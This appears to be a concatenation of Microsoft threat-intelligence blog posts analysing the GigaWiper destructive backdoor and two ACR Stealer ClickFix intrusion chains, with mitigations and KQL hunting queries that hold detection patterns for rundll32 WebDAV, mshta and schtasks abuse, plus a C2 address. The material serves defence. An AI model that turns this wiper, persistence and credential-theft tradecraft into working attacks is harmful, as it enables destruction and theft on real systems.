| where InitiatingProcessFileName =~ "powershell.exe"
| where InitiatingProcessCommandLine has_all ("-Command", "powershell")
| where ProcessCommandLine has_all ("schtasks", " /run /tn ", " Autoupdate ") and ProcessCommandLine matches regex "[0-9]{8}"

Run the query below to identify suspicious MSHTA launch through PowerShell

DeviceProcessEvents
| where InitiatingProcessParentFileName has "explorer.exe"
| where InitiatingProcessFileName =~ "powershell.exe" and InitiatingProcessCommandLine in~ ('"PowerShell.exe" ', '"PowerShell.exe"')
| where ProcessCommandLine has_all ('"mshta.exe" https://') and ProcessCommandLine matches regex "/[0-9]{7}"

MITRE ATT&CK techniques observed

The following mapping summarizes the primary tactics and techniques observed across the two ACR Stealer intrusion chains. The mapping is intended to help defenders align observed behaviors with existing detection coverage, response playbooks, and hunting priorities.

Indicators of compromise (IOC)

References

• Intelligence Insights: May 2026 | Red Canary
• Possible ACR Stealer From Page Impersonating Claude

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  

The post ACR Stealer: Two observed intrusion chains amid increased threat activity appeared first on Microsoft Security Blog.

In October 2025, Microsoft Threat Intelligence identified destructive wiping activity and uncovered a sophisticated Go programming language (Golang)-based backdoor we now track as GigaWiper, a versatile implant that combines robust command-and-control (C2) capabilities with multiple destructive payloads, including disk wiping, fake ransomware, and system-level sabotage.

GigaWiper is particularly notable for its makeup. It’s not a single, purpose-built tool, but an amalgamation of separate malware families that were folded into GigaWiper as on-demand backdoor commands, giving threat actors the flexibility to choose their mode of destruction:

• A standalone wiper that operates at the physical disk level, overwriting raw disk content and removing partition metadata.
• A destructive command that derives from Crucio ransomware and encrypts files with randomly generated keys that are never saved, making decryption impossible.
• A wiping command that reimplements the logic of FlockWiper, a C-based malware reimplemented in Golang with additional multi-pass secure wiping.

The consolidation of multiple destructive capabilities into a modular backdoor reflects a notable shift in wiper malware, which are typically designed purely to destroy rather than to extort and carry real-world consequences. GigaWiper exemplifies threat actors investing in operational efficiency, merging standalone tools into unified platforms that reduce their deployment footprint while expanding their destructive capabilities. GigaWiper is tracked by Google Threat Intelligence Group (GTIG) and Binary Defense as BLUERABBIT.

In this blog, we provide a code-level analysis of GigaWiper’s architecture. We’re sharing these findings, along with Microsoft Defender detections and mitigation recommendations, to enable organizations and the security community to investigate and defend against GigaWiper and similar destructive threats.

A wiper inside a backdoor

Beginning in October 2025, Microsoft Threat Intelligence started observing compromised environments being wiped with destructive tooling. Looking closely at the intrusions, we observed two types of GigaWiper samples:

• Standalone wiper binaries
• Larger binaries with robust backdoor functionality

Both sample types are unstripped portable executable (PE) files written in Golang. Comparing the two samples showed that the standalone wiper’s code is fully embedded inside the backdoor as one of the commands.

The standalone wiper binary

The standalone wiper is an unstripped PE written in Golang. Instead of deleting individual files, it wipes at the physical disk level. It identifies physical drives, determines which drive contains the Windows installation, removes partition references from other drives, overwrites raw disk content, and then reboots the system.

The wiper starts by enumerating physical disks through Windows Management Instrumentation (WMI) using the following query, giving it the device identifiers and disk metadata it needs before deciding how to handle each drive:

The malware then calls main.FindWindowsDrive to determine which physical disk contains the Windows installation (for example, \\.\PHYSICALDRIVE0). With that drive identified, it iterates the remaining disk list and calls main.unallocateDrive on each non-Windows drive to remove their partition references. This is achieved with DeviceIoControl and IOCTL_DISK_CREATE_DISK, which reinitializes the disk’s partitioning metadata and effectively wipes the existing partition table entries. If successful, the malware prints to the console “Partitions removed successfully.”

Next, it proceeds to wipe each drive. It calls main.writeRandToDrive to overwrite each drive in chunks of size 0xA00000. The first byte of each buffer is randomized with crypto/rand.Read, while the rest is filled with zeros. If random generation fails, it uses the byte value “1” instead. This pattern might be intended to avoid detections or mitigations that look for conspicuous full-disk zeroing behavior.

After it finishes wiping the drives, the malware forces an immediate reboot by invoking Windows shutdown functionality with restart and zero-delay options.

The wiper binary as a backdoor command

Next, we analyzed the larger backdoor. The same wiper functionality is also present as one component of the backdoor. The code flow and function names in the larger backdoor are identical to those of the standalone wiper, with the wiper’s main.main routine implemented in the backdoor as the rabbit_tools_tool_wipe_main.WipeMain function.

Backdoor capabilities

With the wiper routine overlap established, this section focuses on the backdoor’s additional capabilities. Beyond destructive functionality, the backdoor sets persistence and implements C2 communication over RabbitMQ and Redis. In analyzing these backdoor capabilities, we discovered that some backdoor commands contain code from additional malware families.

Persistence

The backdoor creates and uses the registry key HKCU\SOFTWARE\OneDrive\Environment to track its execution count. If the key is absent on the system, the malware determines that it’s running on the system for the first time and proceeds to create the key, setting it to “0”. It then creates a new scheduled task named OneDrive Update by running the following command before printing “Task created. Original process exiting.” and exiting the process. The scheduled task is configured to essentially run every minute in addition to running once on system startup.

In subsequent executions, when the registry key exists and is greater than “0”, the malware increments it,  determines that it is running as a scheduled task (prints “Running from Task Scheduler…”), and continues execution normally.

Communication

GigaWiper uses two modes of communication:

• RabbitMQ over AMQP for receiving commands from the C2 server
• Redis server for updating command status and output

The malware decrypts a hard-coded configuration using AES with a hard-coded key. For example, one observed sample uses 185.182.193[.]21:5544 as a RabbitMQ C2 server, and 185.182.193[.]21:7542 for a Redis server, where it uploads results. The configuration also specifies the credentials to use to connect to the RabbitMQ and Redis servers.

To receive commands from the RabbitMQ C2 server, the malware declares a queue and binds it to a fanout exchange named “All”. Because “All” is a fanout exchange, any command published to it is broadcast to every bound queue across infected clients. To enable targeted commands, the malware also declares a topic exchange named “Topic”.  The backdoor binds the queue to “Topic” when the actor issues command 8 (See Commands section) and provides a routing key.

Each command sent by the C2 server is a cmd.Task structure with the following fields:

• task_id
• command_code
• args

To update the Redis server with command status and output, the malware sends it a cmd.Result struct with the following fields:

• error
• target_ip
• task_id
• target_computer_name
• output
• pwd
• time
• status
• work_status

Commands

GigaWiper logs several types of commands using specific categories:

• “always run command” – Commands that are meant to run continuously (like screen recording)
• “manage command” – Commands used to manage things on the system like services or the Registry
• “special command” / “shell command” – Modes of command 7

Each command is represented by a numeric command code from 1 to 20:

Command 1: Calls WipeMain, which is identical to the standalone wiper described in the last section

Command 2: Triggers a Blue screen error (BSOD) and prevents the device from booting

This is achieved by running a sequence of hard-coded destructive commands that disable Windows recovery, take ownership, and grant permissions to critical boot and kernel files before deleting them.

Command 3: Calls RanMain and BigBangExtortMain to trigger a file encryption process that imitates ransomware

The key and initialization vector (IV) that the malware uses to encrypt files are random and are not saved anywhere. The malware reads and encrypts each file, excluding files with extensions like .exe and .dll that are critical for the system to load. Each file is read and AES-CBC encrypted in chunks before being deleted with os.Remove. The file is renamed with the .candy extension.

It drops the following hard-coded image to ./image_danger.jpg and sets it as the wallpaper:

Command 4: Uses MinIO Client (mc) to upload a file to a remote storage

The path to the MinIO client to use is supplied in the command arguments alongside additional settings:

• IPandPort
• AliasName
• Username
• Password
• BucketName
• SourcePath
• MCPath – The path to MinIO Client (mc.exe) to use

Command 5: File encryption utility

This command bulk encrypts or decrypts files with AES-256 in Cipher Block Chaining (CBC) mode. The following are the command arguments:

• key
• iv
• path – The path to encrypt/decrypt (either a directory or a file)
• key_file
• enc – A mode that specifies whether to perform encryption or decryption

The server can specify a key and IV in the arguments. If in encryption mode but no key or IV were provided, the malware generates a random key and IV and stores them in key.txt.

If in decryption mode, the malware first tries to read the key and IV from the provided key file. If it was not provided, the malware attempts to use the key and IV sent as arguments.

Interestingly, the error message shows a glimpse of what running this command might look like from the actor side:

Key/IV required. Use -k/-i or –keyfile

Command 6: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“6”]

We have not seen this structure populated in the binary. The logging message “Exec cmd wipe-file” suggests that this is meant to contain wiper functionality.

Command 7: This command has two types:

Type: shell command – Command for running PowerShell commands. The malware appends ;”|?????|$pwd” to the command. This causes the output of each command to include |?????|, followed by the current working directory. Then, the malware calls os.Chdir to change the working directory to the path output by $pwd, so the next command runs in that same folder.

Type: special command – When command 7 is run with one of the following arguments, it is considered a “special command” and handled as follows:

• purge_cmd_queue: Empties the queue of shell commands, then stops the process run by command 7 “shell command” if it exists
• purge_queue: Empties the queue of normal commands, then stops the process run by commands 6 or 13 if it exists (those are two of the “always run” commands)
• pwd: Sets a global flag to indicate the working status, which is sent to the server in shell command 7, and then proceeds to run pwd using shell command 7.

Command 8: RabbitMQ route manager; allows binding the queue to the “Topic” exchange to receive targeted, non-broadcast commands (Type: manage command)

This command receives a mode of operation (1/2/3), followed by a list of routing keys as arguments:

• Mode 1 – Binds each provided routing key
• Mode 2 – Unbinds each provided routing key
• Mode 3 – Pairs update mode: for each old,new pair, unbinds the old key then binds the new one

Command 9: Takes one screenshot per active monitor/display

The malware saves each screenshot to a PNG file in .\<timestamp\<monitor_index>.png (for example .\2026-06-10_12-30-00\0.png).

Command 10: Records the screen when the user is not idle (10s) and the system is unlocked(Type: always run command)

Recordings are saved in the folder C:\ProgramData\output.

Command 11: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“11”] (Type: always run) command

We have not seen this structure populated in the binary. The logging message “Exec cmd keylog” suggests that this is meant to be a keylogger functionality.

Command 12: Calls WipeCMain to wipe the system

This command is like command 1 (WipeMain), but with a few important differences:

• It only wipes the drive with the Windows installation. Usually it is the C drive, hence the name WipeCMain.
• It performs secure wiping: It wipes the drive with multiple passes, each time overwriting it with different bytes (0s, 0xFF, random bytes…), and prints status messages between passes:
  • Pass 1 Time took: %s\n
  • Pass 2 Time took: %s\n
  • Pass 3 Time took: %s\n
  • …

Command 13: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“13”]

The logging message “Exec cmd wipe32” suggests that this is meant to be another wiper binary. It is run as admin using the command:

Command 14: (not implemented)

Command 15: Collects system info by calling the function GRATClientInfo (Type: manage command)

The command arguments control the amount of info collected:

• long
• short

Collected system info includes:

• IP address
• Machine GUID
• CPU information
• OS information
• Network configuration
• Firmware
• User information
• Antivirus software information, collected by running the following command:

Command 16: Process manager (Type: manage command)

Arguments specify the process and operation to perform:

• process_name
• process_path
• process_id
• process_operation – Performs one of the operations below:
  • createProcess
  • resumeProcess
  • suspendProcess
  • exit (does nothing, returns empty response)
  • list
  • killProcess
  • processInfo – Returns the info below:
    • process_name
    • process_user_name
    • process_id
    • process_thread_count
    • process_memory_info
    • process_exe_path
    • process_status
    • process_error

Command 17: Service manager (Type: manage command)

This command is similar to the other manage commands, but for services. It has the following arguments:

• service_name
• service_display_name
• service_exe_path
• service_operation
  • create
  • delete
  • restart
  • query
  • start
  • list
  • stop

Command 18: Registry manager (Type: manage command)

On first execution, the malware runs rabbit_bin.RunOnceRegistryMain.gowrap1 in the background as a goroutine. On subsequent executions, the routine receives and returns input and output through Go channels. From there, it operates almost like an interactive session, persisting its position in the Registry between requests, and allowing the following operations (arguments):

• registry_root_key
• registry_key_path
• registry_key_name
• registry_value_entities
• registry_operation
  • show – Enumerates current key, subkeys, and values
  • navigate – Change current position to a new key and send its contents
  • back – Go up one level from current key
  • exit – Exits the current session
  • createKey
  • deleteKey
  • deleteValue
  • setValue

Command 19: Clears Windows event logs

First, the malware ensures that it’s running with Administrator privileges. Next, it deletes the System, Setup, Application, and ForwardedEvents event logs by running the following command for each:

Then, for unknown reasons, it prints the hard-coded string “kharbvnmhkjbkjb”.

Finally, it attempts to delete the Security event logs using wevutil.exe. If it fails, it prints the message “Failed to clear Security with wevtutil. Attempting manual removal…” and attempts to directly delete the log file C:\Windows\System32\winevt\Logs\Security.evtx.

Command 20: Starts a server so the attackers can remotely control the system in a VNC-like manner; allows keyboard and mouse control and streams the screen to the attackers (Type: always run command)

This occurs over TCP with the port provided as a command argument. The malware first deletes the existing firewall rule if it exists. The rule name impersonates legitimate Windows firewall rule names:

Finally, the malware creates rules with that name to allow inbound and outbound traffic to its own program over a port provided in the command arguments. The following command is run once with Inbound then with Outbound:

How GigaWiper was assembled

The standalone wiper, implemented as command 1, is only one part of the interesting anatomy of GigaWiper.

The backdoor contains code for two additional wiping commands: command 3, implemented as rabbit_tools_tool_ran_main_cmd_extort.RanMain, and command 12, implemented as rabbit_tools_tool_wipec_main.WipeCMain. Further analysis showed that, like the standalone wiper, these originated from two separate, older malware families previously used by the same threat actor.

In other words, the GigaWiper backdoor is an amalgamation of at least three standalone malware families, stitched together as commands within a single implant, and combined with new backdoor functionality.

RanMain and BigBangExtortMain

As mentioned, command 3 is handled by rabbit_tools_tool_ran_main_cmd_extort.RanMain, which calls rabbit_tools_tool_ran_main_bin.BigBangExtortMain to encrypt the files on the victim system and rename them with the .candy extension. This is a wiper disguised as ransomware. The key and IV are randomly generated but not saved anywhere, and no ransom note is dropped. As a result, the actor has neither the ability nor, apparently, the intent to ever decrypt the files.

The function BigBangExtortMain is notable. A function with the same name was used in the Crucio ransomware, which was documented in a Cybersecurity and Infrastructure Security Agency (CISA) advisory published in December 2023. GigaWiper backdoor command 3 is heavily based on Crucio’s code, leading to the assessment that the same threat actor developed both malware families.

WipeCMain

Command 12 represents the third wiper family that was incorporated into the GigaWiper backdoor. This command is handled by rabbit_tools_tool_wipec_main.WipeCMain. It is very similar to command 1, WipeMain, except that it wipes only the Windows installation drive, and performs more secure wiping with multiple passes.

Our research revealed that WipeCMain is essentially identical to the standalone wiper that Microsoft tracks as FlockWiper. While FlockWiper was written in C, its logic appears to have been reimplemented in Golang within GigaWiper. In essence, the two variants follow the same core execution flow, and many of the strings are identical, though the GigaWiper implementation appears to be a more updated version. FlockWiper was first uploaded to VirusTotal in June 2025, months before GigaWiper was first observed in the wild.

Another notable detail is that the observed FlockWiper samples contain program database (PDB) paths referencing “GRAT”:

• A:\GRAT\CWipeNew\Release\CWipeNew.pdb
• E:\files\new\GRAT\CWipe\Release\CWipe.pdb

The name “GRAT” is also prevalent in several function names within the GigaWiper backdoor. Although the FlockWiper binaries do not include “GRAT” functionality, the PDB paths provide another link between the two malware families.

Conclusion: Multiple destructive capabilities consolidated into a single implant

GigaWiper is a backdoor with extensive operational capabilities that allow a threat actor to maintain control over infected systems, execute commands, deploy additional tooling, and ultimately trigger one of multiple destructive commands on demand. It allows the threat actor to operate with flexibility, enabling both quiet espionage activity and destructive wiping operations.

Our research reveals that GigaWiper was created by combining and reimplementing components from at least three previously separate malware families. This includes the wiping functionality, and the file-encrypting ransomware that leaves no way to decrypt the files.

We tied GigaWiper to both Crucio and FlockWiper based on code analysis, shared execution flow, function naming, and unique strings. Crucio’s code was the base for GigaWiper command 3, and FlockWiper was recoded in Golang and updated for GigaWiper command 12. In addition, the references of “GRAT” in both the FlockWiper PDB paths and GigaWiper function names provide an additional link between these tools, and suggests the possible existence of another related component or framework that has not yet been recovered.

Overall, these findings show the evolution of the actor’s tooling over time. Functionality was merged into a single robust backdoor, granting the actor more ways to control and destroy infected systems.

Defending against destructive threats

To harden networks against GigaWiper, defenders can implement the following mitigation steps:

• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Block direct access to known C2 infrastructure where possible, informed by your organization’s threat intelligence sources.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Microsoft Defender XDR customers can also implement the following attack surface reduction rules to harden an environment against techniques used by threat actors:
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool profile: GigaWiper

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post GigaWiper: Anatomy of a destructive backdoor assembled from multiple malware appeared first on Microsoft Security Blog.

From late April 2026 to mid-June 2026, Microsoft Defender Experts observed increased ACR Stealer activity across customer environments. These campaigns are successfully using ClickFix lures to steal browser credentials, authentication tokens, and sensitive documents from enterprise environments. Successful compromise can expose browser credentials, session tokens, authentication artifacts, and sensitive enterprise data, potentially enabling account compromise, unauthorized access to cloud resources, and follow-on intrusion activity. Security teams should prioritize monitoring for ClickFix lures, suspicious WebDAV activity, obfuscated PowerShell execution, and attempts to access browser credential stores.

ACR Stealer is an information-stealing malware family reportedly offered through a malware-as-a-service (MaaS) model and associated with the rebranding of Amatera Stealer. During this period, two campaigns stand out, together appearing frequently in reviewed recent intrusions. Both begin the same way, with a ClickFix social engineering technique that tricks targets into running the threat actor’s command, but the intrusion chains that follow diverge in how they deliver payloads, establish execution, and evade detection.

The first campaign relies on WebDAV-delivered payloads, staged PowerShell, Python-based loaders and persistence, and, in some intrusions, blockchain-backed dead-drop command-and-control (C2) resolution. The second campaign takes a more fileless route, using MSHTA, obfuscated PowerShell, and steganography-assisted in-memory execution. Despite these differences, both campaigns ultimately pursue the same goal: stealing browser-stored credentials and other sensitive data for exfiltration.

These two campaigns represent some of the most prevalent ACR Stealer delivery campaigns observed by Defender Experts; however, they do not represent the full range of delivery methods used by this malware family. Attribution to ACR Stealer is based on the observed behavior and post-exploitation tradecraft, corroborated by open-source intelligence on the infrastructure associated with this malware family. Additional campaigns, infrastructure patterns, and execution chains are likely active, and organizations should treat the indicators and techniques described here as representative.

Microsoft Defender for Endpoint can help surface both campaigns through behavioral coverage for living-off-the-land execution, suspicious WebDAV and MSHTA activity, obfuscated PowerShell, scheduled-task persistence, in-memory payload execution, and browser credential theft. In this blog, we analyze both campaigns in detail, including their delivery mechanisms, post-exploitation tradecraft, indicators of compromise, hunting opportunities, and guidance to help defenders detect and disrupt related activity in their environments.

Campaign 1: WebDAV-based ClickFix with Python loaders and blockchain C2

Initial access

In this campaign, a ClickFix prompt, likely delivered through malvertising or SEO-manipulated search results, instructs the target user to run a command that launches cmd.exe. The command subsequently invokes rundll32.exe to load a DLL from a remote WebDAV share accessed over HTTPS. The WebDAV path commonly uses a GUID-based directory structure and filenames designed to resemble legitimate resources (for example, google.ct), enabling the activity to blend with expected network traffic and evade casual inspection.

We observed three variants of the initial execution command:

Variant 1: Direct rundll32 invocation

Variant 2: pushd-Mounted WebDAV Share

Variant 3: Headless and obfuscated pushd execution

Variants 2 and 3 are notable for their use of pushd, which transparently maps the remote WebDAV share to a temporary local drive prior to execution. This technique allows threat actors to execute remotely hosted content through what appears to be a local path, simplifying payload execution while reducing user awareness. In the more advanced variant, threat actors further enhance stealth by launching commands through conhost.exe –headless, suppressing visible console windows, and employing environment variable obfuscation with delayed variable expansion to conceal critical execution components such as pushd, rundll32, and the remote host name. Combined with minimized or headless execution, these techniques reduce user visibility, complicate static analysis and detection, and enable the infection chain to execute with minimal indication to the victim.

Execution, persistence, and evasion through process masquerading

Once rundll32.exe loads the DLL retrieved from the remote server, the malware establishes communication with threat actor-controlled infrastructure and executes a heavily obfuscated PowerShell script. The script employs excessive arithmetic no-ops, dead loops, fake control flow, and randomized variable names to hinder static analysis and evade signature-based detection.

The PowerShell script subsequently deploys another stage that functions as both a malware installer and a persistence mechanism. It:

• Downloads a ZIP-packaged payload from a remote server and extracts it into a deceptive directory under %LocalAppData%\Temp (for example, LogiOptionsPlus).
• Launches a Python script using a bundled pythonw.exe instance to avoid displaying a console window.
• Removes previous deployments and terminates running instances before installation, effectively operating as an updater.
• Establishes persistence through a hidden scheduled task disguised as a legitimate software update, ensuring execution at user sign-in.
• Copies timestamps from a trusted Windows binary (notepad.exe) to the deployed files and clears PowerShell command history to reduce forensic visibility.

Python loader launching the stealer

The Python component serves as a heavily obfuscated loader designed to conceal its true functionality until runtime. It employs multiple layers of defense against static analysis, including dynamic API resolution, encoded string reconstruction, junk-data removal, character shifting, string reversal, Base64 decoding, and zlib decompression. These techniques ensure that the embedded payload remains unreadable in its static form and is reconstructed only during execution, significantly hindering signature-based detection and automated analysis.

Once decoded, the final-stage payload functions as an in-memory shellcode loader. It extracts an archive file masquerading as a legitimate application installer, reads a file from the archive, and injects the payload into a system process. The loader allocates executable memory using VirtualAlloc, copies the payload into the allocated memory region, and transfers execution through the Windows Fiber API (ConvertThreadToFiber, CreateFiber, and SwitchToFiber). This technique facilitates stealthy in-memory execution while minimizing artifacts written to disk.

Credential theft and data staging for exfiltration

The malware (injected code) aggressively harvests information from browser credential stores. It invokes Windows Data Protection API (DPAPI) routines to decrypt locally stored browser passwords, cookies, and authentication tokens. It also enumerates files across the system, targeting PDFs, Microsoft 365 documents, and data stored in enterprise-synchronized directories such as OneDrive and SharePoint. The collected data is subsequently archived, indicating preparation for exfiltration.

Blockchain dead-drop C2 resolution

A notable variation in this campaign is the use of blockchain services for C2 resolution, utilizing a technique known as EtherHiding. While most intrusions rely on more conventional C2 mechanisms, a subset deploys an additional secondary Python loader that leverages blockchain services as dead-drop resolvers. When this loader executes, it has been observed communicating with public blockchain RPC endpoints and third-party Web3 node infrastructure, likely querying data stored on a decentralized public ledger to retrieve follow-up payloads or a C2 address.

By externalizing C2 information to the blockchain, operators could dynamically update infrastructure without modifying or redeploying the malware, significantly complicating detection and takedown efforts. This behavior was observed across both variants of the campaign.

Campaign 2: MSHTA-initiated PowerShell chain with steganographic payload delivery

The second campaign takes a distinctly different approach to both delivery and execution. Where Campaign 1 relies on disk-based artifacts (Python runtime, scheduled tasks, and masquerading binaries), this campaign achieves its objectives almost entirely through fileless, in-memory execution, making it harder to detect through file-based scanning and forensic analysis.

Initial access through MSHTA and ClickFix

The execution chain begins when the victim, directed through malvertising or SEO-manipulated search results, encounters a ClickFix prompt that triggers a command spawning MSHTA to fetch and execute remote HTA content from an threat actor-controlled domain. The embedded VBScript loader abuses COM objects to decode and execute encoded PowerShell content.

PowerShell downloader and obfuscation

The decoded PowerShell stage employs obfuscation techniques similar to those seen in Campaign 1: randomized variable names, arithmetic no-op operations, dead loops, misleading control flow, and custom encryption routines. Prior to contacting its next-stage infrastructure, the malware generates a victim-specific identifier and disables certificate validation. The retrieved content is executed directly in memory.

Steganography-based payload delivery

A notable technique in this campaign is the use of steganography to conceal malicious content inside a publicly hosted image. Instead of downloading a secondary script (as in Campaign 1), the malware retrieves a JPEG image from an image-hosting service.

Analysis of the script revealed custom routines that extract an embedded payload from image pixels, decrypt and decompress it, and execute it entirely in memory. The payload dynamically resolves APIs such as LoadLibrary, GetProcAddress, VirtualAlloc, CreateThread, and WaitForSingleObject at runtime to perform reflective shellcode execution. By combining steganography with in-memory execution, the malware minimizes on-disk artifacts and complicates both detection and analysis.

Credential theft, data collection, and exfiltration

Following execution, the malware accesses credential stores belonging to Chromium-based browsers, including Google Chrome and Microsoft Edge, specifically the Login Data and Web Data databases, alongside Windows DPAPI decryption activity. This behavior indicates attempts to recover stored browser credentials, session cookies, authentication tokens, and other sensitive user information.

The malware also enumerates and accesses multiple high-value PDF documents across Desktop and Downloads locations, suggesting targeted collection of potentially sensitive files. The combination of browser credential harvesting and systematic document access points to an information-stealing objective focused on staging credentials and valuable user data for exfiltration.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of ClickFix lures, script-based payload delivery, credential theft, and post-compromise activity.

• Educate users to recognize ClickFix-style prompts, fake verification checks, and paste-and-run instructions as malicious, especially when they invoke command interpreters or script hosts such as cmd.exe, PowerShell, rundll32.exe, or mshta.exe.
• Reduce exposure to malvertising, SEO poisoning, and other web-based delivery chains by enforcing web filtering, blocking low-reputation or newly observed domains, and limiting access to remote content sources that are not required for business operations.
• Use application control and attack surface reduction rules to restrict PowerShell, Python, mshta.exe, rundll32.exe, and similar tools from launching untrusted or internet-delivered content, particularly from user-writable directories such as Downloads, Temp, and %LocalAppData%.
• Monitor for suspicious persistence and defense-evasion behavior, including scheduled tasks masquerading as software updates, timestomping, PowerShell history clearing, and execution chains that progress from remote content retrieval into PowerShell, Python, or shellcode-loading behavior.
• Investigate abnormal access to Chromium-based browser databases, DPAPI-related decryption activity, staged collection of Microsoft 365 documents or PDFs, and compression activity that may indicate credential theft or data staging for exfiltration.
• If compromise is suspected, isolate affected devices, rotate exposed credentials, revoke potentially compromised tokens, review persistence mechanisms, and investigate outbound connections to remote shares, image-hosting services, or other infrastructure used to resolve or retrieve follow-on payloads.
• Harden endpoints against credential theft by reducing reliance on browser-stored credentials, enforcing multifactor authentication and conditional access, and reviewing how privileged accounts access sensitive applications and synchronized enterprise data.
• Turn on cloud-delivered protection and behavior-based detections to help identify rapidly evolving threats, suspicious script execution, in-memory payload delivery, abuse of browser credential stores, and unusual child-process activity.
• Run endpoint detection and response (EDR) in block mode and enable automated investigation and remediation so post-breach detections are contained, and malicious artifacts can be removed with minimal delay.
• Harden PowerShell by enforcing appropriate execution policies, turning on script block logging, module logging, and transcription, and monitoring this telemetry for signs of malicious script activity.
• Turn on tamper protection and prevent local administrators from weakening antivirus protection through local policy or exclusion changes.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get current information available in the Defender portal about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to help prevent, mitigate, or respond to associated threats found in customer environments:

• Amatera Stealer: Rebranded ACR Stealer With Improved Evasion, Sophistication
• Double Trouble: Latrodectus and ACR Stealer observed spreading via Google Authenticator Phishing Site

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Advanced hunting queries

Microsoft Defender XDR customers can run the following advance hunting queries to find related activity in their networks:

Run the query below to identify suspicious commands executed through ClickFix-based activity observed while delivering this stealer

DeviceRegistryEvents
| where RegistryKey has "RunMRU"
| where (RegistryValueData has_all ("rundll32", "@ssl", " /c ", " start ") and (RegistryValueData matches regex @"\\\\[^\\]+@ssl\\[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}\\\w+\.\w+,#1" or
RegistryValueData matches regex @"(?i)pushd \\\\[^\\]+@ssl\\[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12} ")) 
or RegistryValueData has_all ("@ssl", " /c ", "conhost --headless ") and RegistryValueData contains "rundll32"

Run the query below to identify scheduled task creation used for persistence by a malicious PowerShell script

DeviceProcessEvents
| where InitiatingProcessFileName =~ "powershell.exe"
| where InitiatingProcessCommandLine has_all ("-Command", "powershell")
